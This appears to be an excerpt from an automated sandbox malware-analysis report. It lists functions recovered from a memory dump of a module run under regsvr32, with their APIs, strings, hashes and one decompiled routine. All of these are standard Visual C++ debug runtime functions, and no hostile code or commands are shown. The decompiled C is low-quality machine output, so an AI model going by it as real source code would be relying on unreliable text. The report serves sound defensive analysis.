_invalid_parameter.LIBCMTD ref: 000007FEF9D37367
_invalid_parameter.LIBCMTD ref: 000007FEF9D37523

Strings

length < sizeInTChars, xrefs: 000007FEF9D374BF, 000007FEF9D3751C
sizeInTChars > 0, xrefs: 000007FEF9D37115, 000007FEF9D37172
$, xrefs: 000007FEF9D372CF
xtoa_s, xrefs: 000007FEF9D370CC, 000007FEF9D3716B, 000007FEF9D372A8, 000007FEF9D37359, 000007FEF9D37515
2 <= radix && radix <= 36, xrefs: 000007FEF9D37303, 000007FEF9D37360
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\xtoa.c, xrefs: 000007FEF9D3708B, 000007FEF9D370C5, 000007FEF9D3712A, 000007FEF9D37164, 000007FEF9D37267, 000007FEF9D372A1, 000007FEF9D37318, 000007FEF9D37352, 000007FEF9D374D4, 000007FEF9D3750E
buf != NULL, xrefs: 000007FEF9D37076, 000007FEF9D370D3
sizeInTChars > (size_t)(is_neg ? 2 : 1), xrefs: 000007FEF9D37252, 000007FEF9D372AF

Memory Dump Source

Source File: 00000003.00000002.926879191.000007FEF9D21000.00000020.00000001.01000000.00000006.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926872386.000007FEF9D20000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926902888.000007FEF9D42000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926912202.000007FEF9D4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926917238.000007FEF9D4F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: $$2 <= radix && radix <= 36$buf != NULL$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\xtoa.c$length < sizeInTChars$sizeInTChars > (size_t)(is_neg ? 2 : 1)$sizeInTChars > 0$xtoa_s
API String ID: 2123368286-1853640030
Opcode ID: 820d6638ce8c2bc49aeb15d9bb45941f698caf6262644320b28b67af79be84a6
Instruction ID: 2769aadc75a8f45e94697a4dd9f042802452aa73cd8bd2afe7c03a6eee30acd9
Opcode Fuzzy Hash: 820d6638ce8c2bc49aeb15d9bb45941f698caf6262644320b28b67af79be84a6
Instruction Fuzzy Hash: D7E12A32A1DB86CAE7A08B59E8447AEB7E1F385354F604125E6CD43BB8DB7ED444CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3E6C6 Relevance: 21.3, APIs: 8, Strings: 4, Instructions: 332
COMMON

Download Yara Rule

C-Code - Quality: 22%

			E000007FE7FEF9D3E6C6(signed int __rax, void* __rdx, long long _a32, void* _a64, void* _a72, intOrPtr _a76, signed int _a80, char _a84, short _a86, intOrPtr _a88, long long _a92, long long _a96, signed char _a104, intOrPtr _a108, signed int _a116, char _a120, char _a687, char _a1200, signed short _a1212, intOrPtr _a1216, intOrPtr _a1220, signed char _a1296, signed int _a1304, signed int _a1312, intOrPtr _a1320, long long _a1328, signed char _a1336, intOrPtr _a1340, intOrPtr _a1344, intOrPtr _a1376, intOrPtr _a1380, signed int _a1480, long long _a1488, long long _a1496, long long _a1504, signed int _a1512, intOrPtr _a1536, char _a1560) {
				signed int _t224;
				signed char _t229;
				void* _t260;
				intOrPtr _t268;
				signed int _t342;
				signed int _t343;
				signed long long _t346;
				intOrPtr* _t365;
				intOrPtr* _t370;
				signed long long _t400;

				_t342 = __rax;
				_a80 = _a80 | 0x00000040;
				_a72 = 0xa;
				_a72 = 0xa;
				_a116 = 0x10;
				asm("bts eax, 0xf");
				_a1220 = 7;
				_a1220 = 0x27;
				_a72 = 0x10;
				if ((_a80 & 0x00000080) == 0) goto 0xf9d3e74d;
				_a84 = 0x30;
				_a86 = _a1220 + 0x51;
				_a92 = 2;
				_a72 = 8;
				if ((_a80 & 0x00000080) == 0) goto 0xf9d3e770;
				asm("bts eax, 0x9");
				if ((_a80 & 0x00008000) == 0) goto 0xf9d3e797;
				E000007FE7FEF9D31EA0( &_a1560);
				_a1304 = _t342;
				goto 0xf9d3e844;
				if ((_a80 & 0x00001000) == 0) goto 0xf9d3e7be;
				E000007FE7FEF9D31EA0( &_a1560);
				_a1304 = _t342;
				goto 0xf9d3e844;
				if ((_a80 & 0x00000020) == 0) goto 0xf9d3e809;
				if ((_a80 & 0x00000040) == 0) goto 0xf9d3e7ef;
				_t343 = E000007FE7FEF9D31E40( &_a1560);
				_a1304 = _t343;
				goto 0xf9d3e807;
				E000007FE7FEF9D31E40( &_a1560);
				_a1304 = _t343;
				goto 0xf9d3e844;
				if ((_a80 & 0x00000040) == 0) goto 0xf9d3e82d;
				E000007FE7FEF9D31E40( &_a1560);
				_a1304 = _t343;
				goto 0xf9d3e844;
				E000007FE7FEF9D31E40( &_a1560);
				_a1304 = _t343;
				if ((_a80 & 0x00000040) == 0) goto 0xf9d3e87b;
				if (_a1304 >= 0) goto 0xf9d3e87b;
				_a1312 =  ~_a1304;
				asm("bts eax, 0x8");
				goto 0xf9d3e88b;
				_t346 = _a1304;
				_a1312 = _t346;
				if ((_a80 & 0x00008000) != 0) goto 0xf9d3e8c0;
				if ((_a80 & 0x00001000) != 0) goto 0xf9d3e8c0;
				_a1312 = _a1312 & _t346;
				if (_a116 >= 0) goto 0xf9d3e8d1;
				_a116 = 1;
				goto 0xf9d3e8ee;
				_a80 = _a80 & 0xfffffff7;
				if (_a116 - 0x200 <= 0) goto 0xf9d3e8ee;
				_a116 = 0x200;
				if (_a1312 != 0) goto 0xf9d3e901;
				_a92 = 0;
				_a64 =  &_a687;
				_t224 = _a116;
				_a116 = _a116 - 1;
				if (_t224 > 0) goto 0xf9d3e92f;
				if (_a1312 == 0) goto 0xf9d3e9cc;
				_a1480 = _a72;
				_a1296 = _t224 / _a1480 + 0x30;
				_a1488 = _a72;
				if (_a1296 - 0x39 <= 0) goto 0xf9d3e9ab;
				_t229 = _a1296 + _a1220;
				_a1296 = _t229;
				 *_a64 = _a1296 & 0x000000ff;
				_a64 = _a64 - 1;
				goto 0xf9d3e90e;
				_a104 = _t229;
				_a64 = _a64 + 1;
				if ((_a80 & 0x00000200) == 0) goto 0xf9d3ea2a;
				if (_a104 == 0) goto 0xf9d3ea0b;
				if ( *_a64 == 0x30) goto 0xf9d3ea2a;
				_a64 = _a64 - 1;
				 *_a64 = 0x30;
				_a104 = _a104 + 1;
				if (_a108 != 0) goto 0xf9d3ec7c;
				if ((_a80 & 0x00000040) == 0) goto 0xf9d3ea9d;
				if ((_a80 & 0x00000100) == 0) goto 0xf9d3ea61;
				_a84 = 0x2d;
				_a92 = 1;
				goto 0xf9d3ea9d;
				if ((_a80 & 0x00000001) == 0) goto 0xf9d3ea80;
				_a84 = 0x2b;
				_a92 = 1;
				goto 0xf9d3ea9d;
				if ((_a80 & 0x00000002) == 0) goto 0xf9d3ea9d;
				_a84 = 0x20;
				_a92 = 1;
				_a1320 = _a88 - _a104 - _a92;
				if ((_a80 & 0x0000000c) != 0) goto 0xf9d3eadf;
				E000007FE7FEF9D3EEC0(0x20, _a1320, _a1536,  &_a1200);
				E000007FE7FEF9D3EF10(_a92, _a64,  &_a84, _a1536,  &_a1200);
				if ((_a80 & 0x00000008) == 0) goto 0xf9d3eb33;
				if ((_a80 & 0x00000004) != 0) goto 0xf9d3eb33;
				E000007FE7FEF9D3EEC0(0x30, _a1320, _a1536,  &_a1200);
				if (_a76 != 0) goto 0xf9d3ec29;
				if (_a104 <= 0) goto 0xf9d3ec29;
				_t365 = _a64;
				_a1328 = _t365;
				_a1336 = _a104;
				_a1336 = _a1336 - 1;
				if (_a1336 <= 0) goto 0xf9d3ec27;
				_t260 = E000007FE7FEF9D26840(_a1336,  &_a120);
				_a1496 = _t365;
				E000007FE7FEF9D26840(_t260,  &_a120);
				_a1340 = E000007FE7FEF9D3F000( &_a1212, _a1328,  *((intOrPtr*)( *_t365 + 0x10c)), _a1496);
				if (_a1340 > 0) goto 0xf9d3ebe7;
				_a1200 = 0xffffffff;
				goto 0xf9d3ec27;
				E000007FE7FEF9D3EE40(_a1212 & 0x0000ffff, _a1536,  &_a1200);
				_a1328 = _a1328 + _a1340;
				goto 0xf9d3eb61;
				goto 0xf9d3ec47;
				E000007FE7FEF9D3EF10(_a104, _a1328 + _a1340, _a64, _a1536,  &_a1200);
				if (_a1200 < 0) goto 0xf9d3ec7c;
				if ((_a80 & 0x00000004) == 0) goto 0xf9d3ec7c;
				E000007FE7FEF9D3EEC0(0x20, _a1320, _a1536,  &_a1200);
				if (_a96 == 0) goto 0xf9d3ec9c;
				0xf9d25330();
				_a96 = 0;
				goto 0xf9d3da75;
				if (_a1216 == 0) goto 0xf9d3ecc2;
				if (_a1216 == 7) goto 0xf9d3ecc2;
				_a1504 = 0;
				goto 0xf9d3eccd;
				_a1504 = 1;
				_t268 = _a1504;
				_a1344 = _t268;
				if (_a1344 != 0) goto 0xf9d3ed13;
				_t370 = L"((state == ST_NORMAL) || (state == ST_TYPE))";
				_a32 = _t370;
				r9d = 0;
				r8d = 0x8f5;
				0xf9d2b3b0();
				if (_t268 != 1) goto 0xf9d3ed13;
				asm("int3");
				if (_a1344 != 0) goto 0xf9d3ed6f;
				0xf9d2ab30();
				 *_t370 = 0x16;
				_a32 = 0;
				r9d = 0x8f5;
				E000007FE7FEF9D2BD70(L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_64_amd64\\crt\\src\\output.c");
				_a1376 = 0xffffffff;
				E000007FE7FEF9D26800( &_a120);
				goto 0xf9d3ed8e;
				_a1380 = _a1200;
				E000007FE7FEF9D26800( &_a120);
				return E000007FE7FEF9D23280(_a1380, 2, 2, _a1512 ^ _t400, L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_64_amd64\\crt\\src\\output.c");
			}

0x7fef9d3e6c6
0x7fef9d3e6cd
0x7fef9d3e6d1
0x7fef9d3e6de
0x7fef9d3e6eb
0x7fef9d3e6f7
0x7fef9d3e6ff
0x7fef9d3e70c
0x7fef9d3e717
0x7fef9d3e72a
0x7fef9d3e731
0x7fef9d3e740
0x7fef9d3e745
0x7fef9d3e74f
0x7fef9d3e762
0x7fef9d3e768
0x7fef9d3e77b
0x7fef9d3e785
0x7fef9d3e78a
0x7fef9d3e792
0x7fef9d3e7a2
0x7fef9d3e7ac
0x7fef9d3e7b1
0x7fef9d3e7b9
0x7fef9d3e7c7
0x7fef9d3e7d2
0x7fef9d3e7e1
0x7fef9d3e7e5
0x7fef9d3e7ed
0x7fef9d3e7f7
0x7fef9d3e7ff
0x7fef9d3e807
0x7fef9d3e812
0x7fef9d3e81c
0x7fef9d3e823
0x7fef9d3e82b
0x7fef9d3e835
0x7fef9d3e83c
0x7fef9d3e84d
0x7fef9d3e858
0x7fef9d3e865
0x7fef9d3e871
0x7fef9d3e879
0x7fef9d3e87b
0x7fef9d3e883
0x7fef9d3e896
0x7fef9d3e8a3
0x7fef9d3e8b8
0x7fef9d3e8c5
0x7fef9d3e8c7
0x7fef9d3e8cf
0x7fef9d3e8d8
0x7fef9d3e8e4
0x7fef9d3e8e6
0x7fef9d3e8f7
0x7fef9d3e8f9
0x7fef9d3e909
0x7fef9d3e90e
0x7fef9d3e918
0x7fef9d3e91e
0x7fef9d3e929
0x7fef9d3e934
0x7fef9d3e957
0x7fef9d3e963
0x7fef9d3e990
0x7fef9d3e9a2
0x7fef9d3e9a4
0x7fef9d3e9b8
0x7fef9d3e9c2
0x7fef9d3e9c7
0x7fef9d3e9d9
0x7fef9d3e9e5
0x7fef9d3e9f5
0x7fef9d3e9fc
0x7fef9d3ea09
0x7fef9d3ea13
0x7fef9d3ea1d
0x7fef9d3ea26
0x7fef9d3ea2f
0x7fef9d3ea3e
0x7fef9d3ea4b
0x7fef9d3ea52
0x7fef9d3ea57
0x7fef9d3ea5f
0x7fef9d3ea6a
0x7fef9d3ea71
0x7fef9d3ea76
0x7fef9d3ea7e
0x7fef9d3ea89
0x7fef9d3ea90
0x7fef9d3ea95
0x7fef9d3eaad
0x7fef9d3eabd
0x7fef9d3eada
0x7fef9d3eaf8
0x7fef9d3eb06
0x7fef9d3eb11
0x7fef9d3eb2e
0x7fef9d3eb38
0x7fef9d3eb43
0x7fef9d3eb49
0x7fef9d3eb4e
0x7fef9d3eb5a
0x7fef9d3eb71
0x7fef9d3eb7a
0x7fef9d3eb85
0x7fef9d3eb8a
0x7fef9d3eb97
0x7fef9d3ebc9
0x7fef9d3ebd8
0x7fef9d3ebda
0x7fef9d3ebe5
0x7fef9d3ebff
0x7fef9d3ec1a
0x7fef9d3ec22
0x7fef9d3ec27
0x7fef9d3ec42
0x7fef9d3ec4f
0x7fef9d3ec5a
0x7fef9d3ec77
0x7fef9d3ec82
0x7fef9d3ec8e
0x7fef9d3ec93
0x7fef9d3ec9c
0x7fef9d3eca9
0x7fef9d3ecb3
0x7fef9d3ecb5
0x7fef9d3ecc0
0x7fef9d3ecc2
0x7fef9d3eccd
0x7fef9d3ecd4
0x7fef9d3ece3
0x7fef9d3ece5
0x7fef9d3ecec
0x7fef9d3ecf1
0x7fef9d3ecf4
0x7fef9d3ed06
0x7fef9d3ed0e
0x7fef9d3ed10
0x7fef9d3ed1b
0x7fef9d3ed1d
0x7fef9d3ed22
0x7fef9d3ed28
0x7fef9d3ed31
0x7fef9d3ed4c
0x7fef9d3ed51
0x7fef9d3ed61
0x7fef9d3ed6d
0x7fef9d3ed76
0x7fef9d3ed82
0x7fef9d3eda5

APIs

get_int64_arg.LIBCMTD ref: 000007FEF9D3E785
get_int64_arg.LIBCMTD ref: 000007FEF9D3E7AC

Strings

9, xrefs: 000007FEF9D3E988
_woutput_s_l, xrefs: 000007FEF9D3DBD6
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3DB92, 000007FEF9D3DBCF
("Incorrect format specifier", 0), xrefs: 000007FEF9D3DB7D, 000007FEF9D3DBDD

Memory Dump Source

Source File: 00000003.00000002.926879191.000007FEF9D21000.00000020.00000001.01000000.00000006.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926872386.000007FEF9D20000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926902888.000007FEF9D42000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926912202.000007FEF9D4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926917238.000007FEF9D4F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: get_int64_arg
String ID: ("Incorrect format specifier", 0)$9$_woutput_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 1967237116-1983305044
Opcode ID: 39c1530eb87c93b5c15807e3225054cbc2f74160d6d1f03a50421518d7a029c2
Instruction ID: 35e4d6cfc5d3e5722aa157ca10994467d352d975a6b38eaa5eb17889d52142ca
Opcode Fuzzy Hash: 39c1530eb87c93b5c15807e3225054cbc2f74160d6d1f03a50421518d7a029c2
Instruction Fuzzy Hash: 7AF1D872A0DAC58AE7B18B55E8417AFB7E0F784346F200125E6C987AE9EB7DD440CF50

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D32D80 Relevance: 21.3, APIs: 4, Strings: 8, Instructions: 310COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D32E31
_invalid_parameter.LIBCMTD ref: 000007FEF9D32F63
_invalid_parameter.LIBCMTD ref: 000007FEF9D330E4
_invalid_parameter.LIBCMTD ref: 000007FEF9D3327B

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\tcscat_s.inl, xrefs: 000007FEF9D32DE2, 000007FEF9D32E1C, 000007FEF9D32F14, 000007FEF9D32F4E, 000007FEF9D33095, 000007FEF9D330CF, 000007FEF9D3322C, 000007FEF9D33266
((_Dst)) != NULL && ((_SizeInWords)) > 0, xrefs: 000007FEF9D32DCD, 000007FEF9D32E2A
Buffer is too small, xrefs: 000007FEF9D331DB
(((_Src))) != NULL, xrefs: 000007FEF9D32EFF, 000007FEF9D32F5C
(L"String is not null terminated" && 0), xrefs: 000007FEF9D33080, 000007FEF9D330DD
wcscat_s, xrefs: 000007FEF9D32E23, 000007FEF9D32F55, 000007FEF9D330D6, 000007FEF9D3326D
String is not null terminated, xrefs: 000007FEF9D3304D
(L"Buffer is too small" && 0), xrefs: 000007FEF9D33217, 000007FEF9D33274

Memory Dump Source

Source File: 00000003.00000002.926879191.000007FEF9D21000.00000020.00000001.01000000.00000006.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926872386.000007FEF9D20000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926902888.000007FEF9D42000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926912202.000007FEF9D4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926917238.000007FEF9D4F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: (((_Src))) != NULL$((_Dst)) != NULL && ((_SizeInWords)) > 0$(L"Buffer is too small" && 0)$(L"String is not null terminated" && 0)$Buffer is too small$String is not null terminated$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\tcscat_s.inl$wcscat_s
API String ID: 2123368286-3477667311
Opcode ID: 5284e54803fa5a35f276e18858076b29593f150ab8ed8022a36a7ce25e0bf2f4
Instruction ID: c8a25613ed3391733179227ae6d5cd1be8fc2ee2dc7f1a1db629f40b2a14394d
Opcode Fuzzy Hash: 5284e54803fa5a35f276e18858076b29593f150ab8ed8022a36a7ce25e0bf2f4
Instruction Fuzzy Hash: CAF13832A0DB8685EBE08B19E94476EA3E0F385790F604535D6DE83BA8DF7ED045CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D369C0 Relevance: 21.3, APIs: 4, Strings: 8, Instructions: 303COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D36A71
_invalid_parameter.LIBCMTD ref: 000007FEF9D36B9D
_invalid_parameter.LIBCMTD ref: 000007FEF9D36D17
_invalid_parameter.LIBCMTD ref: 000007FEF9D36EA5

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\tcscat_s.inl, xrefs: 000007FEF9D36A22, 000007FEF9D36A5C, 000007FEF9D36B4E, 000007FEF9D36B88, 000007FEF9D36CC8, 000007FEF9D36D02, 000007FEF9D36E56, 000007FEF9D36E90
((_Dst)) != NULL && ((_SizeInBytes)) > 0, xrefs: 000007FEF9D36A0D, 000007FEF9D36A6A
Buffer is too small, xrefs: 000007FEF9D36E05
strcat_s, xrefs: 000007FEF9D36A63, 000007FEF9D36B8F, 000007FEF9D36D09, 000007FEF9D36E97
(((_Src))) != NULL, xrefs: 000007FEF9D36B39, 000007FEF9D36B96
(L"String is not null terminated" && 0), xrefs: 000007FEF9D36CB3, 000007FEF9D36D10
String is not null terminated, xrefs: 000007FEF9D36C80
(L"Buffer is too small" && 0), xrefs: 000007FEF9D36E41, 000007FEF9D36E9E

Memory Dump Source

Source File: 00000003.00000002.926879191.000007FEF9D21000.00000020.00000001.01000000.00000006.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926872386.000007FEF9D20000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926902888.000007FEF9D42000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926912202.000007FEF9D4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926917238.000007FEF9D4F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: (((_Src))) != NULL$((_Dst)) != NULL && ((_SizeInBytes)) > 0$(L"Buffer is too small" && 0)$(L"String is not null terminated" && 0)$Buffer is too small$String is not null terminated$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\tcscat_s.inl$strcat_s
API String ID: 2123368286-1420200500
Opcode ID: cc07cef64c5b8afb013f442fd59d1430f3c77c8b5aa073aebe04f881c7874d42
Instruction ID: 80c7b19323cb8e8402763de004709ed27ed9fdf882d4b7b175d6de3bd1baee6a
Opcode Fuzzy Hash: cc07cef64c5b8afb013f442fd59d1430f3c77c8b5aa073aebe04f881c7874d42
Instruction Fuzzy Hash: CDF13A32A0CB8A89EBA08B14E84576EA7E0F385795FA04535D6DD43BE8DB7ED044CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3C30D Relevance: 21.2, APIs: 7, Strings: 5, Instructions: 231COMMON

Download Yara Rule

APIs

get_int64_arg.LIBCMTD ref: 000007FEF9D3C315
_get_printf_count_output.LIBCMTD ref: 000007FEF9D3C322
_invalid_parameter.LIBCMTD ref: 000007FEF9D3C3CC
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3C3E1
wctomb_s.LIBCMTD ref: 000007FEF9D3CBB1

Strings

-, xrefs: 000007FEF9D3CA54
_output_s_l, xrefs: 000007FEF9D3BAFB, 000007FEF9D3C3BE
("'n' format specifier disabled", 0), xrefs: 000007FEF9D3C365, 000007FEF9D3C3C5
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3BAB7, 000007FEF9D3BAF4, 000007FEF9D3C37A, 000007FEF9D3C3B7
("Incorrect format specifier", 0), xrefs: 000007FEF9D3BAA2, 000007FEF9D3BB02

Memory Dump Source

Source File: 00000003.00000002.926879191.000007FEF9D21000.00000020.00000001.01000000.00000006.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926872386.000007FEF9D20000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926902888.000007FEF9D42000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926912202.000007FEF9D4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926917238.000007FEF9D4F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~__get_printf_count_output_invalid_parameterget_int64_argwctomb_s
String ID: ("'n' format specifier disabled", 0)$("Incorrect format specifier", 0)$-$_output_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 2560055391-3497434347
Opcode ID: 667eef7f1f49c1d82be4abe5f7b2b6c0360aabec3e49fa9d9e3a648fddbc0f41
Instruction ID: 0908f7725f90b5cc69585d97bf8e44ac8e860db6174f4101cd143eaefdb7169b
Opcode Fuzzy Hash: 667eef7f1f49c1d82be4abe5f7b2b6c0360aabec3e49fa9d9e3a648fddbc0f41
Instruction Fuzzy Hash: 87C11C72A0C7C686E7B1DB64E8457BEB7E4F384785F604025DAC886AA9DB7DE540CF00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D39290 Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 142COMMON

Download Yara Rule

APIs

__doserrno.LIBCMTD ref: 000007FEF9D392B6
__doserrno.LIBCMTD ref: 000007FEF9D39341
_invalid_parameter.LIBCMTD ref: 000007FEF9D3937B

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\lseeki64.c, xrefs: 000007FEF9D39321, 000007FEF9D39366, 000007FEF9D393F0, 000007FEF9D39435, 000007FEF9D394E7
("Invalid file descriptor. File possibly closed by a different thread",0), xrefs: 000007FEF9D394D2
(_osfile(fh) & FOPEN), xrefs: 000007FEF9D393DB, 000007FEF9D39443
(fh >= 0 && (unsigned)fh < (unsigned)_nhandle), xrefs: 000007FEF9D3930C, 000007FEF9D39374
_lseeki64, xrefs: 000007FEF9D3936D, 000007FEF9D3943C

Memory Dump Source

Source File: 00000003.00000002.926879191.000007FEF9D21000.00000020.00000001.01000000.00000006.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926872386.000007FEF9D20000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926902888.000007FEF9D42000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926912202.000007FEF9D4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926917238.000007FEF9D4F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: __doserrno$_invalid_parameter
String ID: ("Invalid file descriptor. File possibly closed by a different thread",0)$(_osfile(fh) & FOPEN)$(fh >= 0 && (unsigned)fh < (unsigned)_nhandle)$_lseeki64$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\lseeki64.c
API String ID: 747159061-1442092225
Opcode ID: 14faf06f4b776b3818928093306a4898f737286e5044e20a730c767404cf7ae4
Instruction ID: ad53dfe6714ab654120e1b154ee45b7e90274128f767a3acb20d12471acdd345
Opcode Fuzzy Hash: 14faf06f4b776b3818928093306a4898f737286e5044e20a730c767404cf7ae4
Instruction Fuzzy Hash: AE617C72A1C646CAE7909B25EC4076E72E1F780765F604725E6ED47AF9DB3EE440CB00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D2B12B Relevance: 21.1, APIs: 3, Strings: 9, Instructions: 99COMMON

Download Yara Rule

APIs

_invoke_watson_if_oneof.LIBCMTD ref: 000007FEF9D2B2DB
_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D2B339
_exit.LIBCMTD ref: 000007FEF9D2B378

Strings

__crtMessageWindowA, xrefs: 000007FEF9D2B2BB, 000007FEF9D2B329
Module: , xrefs: 000007FEF9D2B192
(*_errno()), xrefs: 000007FEF9D2B2C7
Microsoft Visual C++ Debug Library, xrefs: 000007FEF9D2B344
strcpy_s(szOutMessage, 4096, "_CrtDbgReport: String too long or IO Error"), xrefs: 000007FEF9D2B330
Debug %s!Program: %s%s%s%s%s%s%s%s%s%s%s%s(Press Retry to debug the application), xrefs: 000007FEF9D2B269
_CrtDbgReport: String too long or IO Error, xrefs: 000007FEF9D2B2F8
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgrpt.c, xrefs: 000007FEF9D2B2AF, 000007FEF9D2B322
..., xrefs: 000007FEF9D2B167

Memory Dump Source

Source File: 00000003.00000002.926879191.000007FEF9D21000.00000020.00000001.01000000.00000006.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926872386.000007FEF9D20000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926902888.000007FEF9D42000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926912202.000007FEF9D4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926917238.000007FEF9D4F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _exit_invoke_watson_if_error_invoke_watson_if_oneof
String ID: Module: $(*_errno())$...$Debug %s!Program: %s%s%s%s%s%s%s%s%s%s%s%s(Press Retry to debug the application)$Microsoft Visual C++ Debug Library$_CrtDbgReport: String too long or IO Error$__crtMessageWindowA$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgrpt.c$strcpy_s(szOutMessage, 4096, "_CrtDbgReport: String too long or IO Error")
API String ID: 1778837556-2487400587
Opcode ID: 1725f90675b356b8c96096f206fe05692ea700145f07fa5ff60a00d667238266
Instruction ID: a9706cbd1d0bc1ca6f0e01aa99e4221a5492a8f84fcd1c14ee91e7fca0fd8dc0
Opcode Fuzzy Hash: 1725f90675b356b8c96096f206fe05692ea700145f07fa5ff60a00d667238266
Instruction Fuzzy Hash: 5351D376608BC191E774DB18E8803EEB3E1F788384F604126EACD43AA9DB7ED154CB41

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3C435 Relevance: 19.6, APIs: 6, Strings: 5, Instructions: 307COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3BB09
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3BB1E
DecodePointer.KERNEL32 ref: 000007FEF9D3C5C6
DecodePointer.KERNEL32 ref: 000007FEF9D3C63A
DecodePointer.KERNEL32 ref: 000007FEF9D3C685
wctomb_s.LIBCMTD ref: 000007FEF9D3CBB1

Strings

-, xrefs: 000007FEF9D3CA54
_output_s_l, xrefs: 000007FEF9D3BAFB
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3BAB7, 000007FEF9D3BAF4
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3C4CE
("Incorrect format specifier", 0), xrefs: 000007FEF9D3BAA2, 000007FEF9D3BB02

Memory Dump Source

Source File: 00000003.00000002.926879191.000007FEF9D21000.00000020.00000001.01000000.00000006.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926872386.000007FEF9D20000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926902888.000007FEF9D42000.00000002.00000001.01000000.00000006.sdmpDownload File
